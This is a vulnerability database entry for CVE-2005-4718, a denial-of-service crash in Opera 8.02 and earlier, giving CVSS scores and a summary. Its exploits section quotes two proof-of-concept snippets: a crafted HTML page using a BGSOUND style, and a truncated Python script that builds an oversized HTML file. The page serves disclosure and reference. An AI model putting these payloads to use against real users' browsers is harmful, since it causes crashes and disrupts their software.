5
CVSSv2

CVE-2005-4718

Published: 31/12/2005 Updated: 28/02/2022
CVSS v2 Base Score: 5 | Impact Score: 2.9 | Exploitability Score: 10
VMScore: 510
Vector: AV:N/AC:L/Au:N/C:N/I:N/A:P

Vulnerability Summary

Opera 8.02 and previous versions allows remote malicious users to cause a denial of service (client crash) via (1) a crafted HTML file with a "content: url(0);" style attribute, a "bodyA" tag, a long string, and a "u" tag with a long attribute, as demonstrated by opera.html; and (2) a BGSOUND element with a "margin:-99;" STYLE attribute.

Vulnerability Trend

Vulnerable Product Search on Vulmon Subscribe to Product

opera opera browser

Exploits

<!-- Vulnerable: Opera 802 and below Date: 19052005 Discovered: posidron@tripbitnet --> <html><head></head><body><bdo>A<bgsound style="margin:-99;">A<hr>A<hr></body></html> # milw0rmcom [2005-10-16] ...
<!-- # Vulnerable: Opera 82 Windows XP Prof SP2 (Tested) # operapy ; opera operahtml # posidron@tripbitnet html = open("operahtml", "w") htmlwrite("<html style=\"content: url(0);\">\n") htmlwrite("<head></head>\n") buff1 = 'A'*32499 htmlwrite("<bodyA>\n"+buff1+"\n") buff2 = 'B'*153 htmlwrite("<u "+buff2+"&gt ...